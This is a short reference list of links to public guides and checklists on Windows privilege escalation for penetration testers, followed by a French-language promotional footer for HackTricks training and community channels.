• https://www.youtube.com/watch?v=_8xJaaQlpBo\
• https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html\
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md\
• https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/\
• https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md\
• https://github.com/frizb/Windows-Privilege-Escalation\
• https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/\
• https://github.com/frizb/Windows-Privilege-Escalation\
• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html\
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

• Vérifiez les plans d'abonnement!
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.

{% endhint %}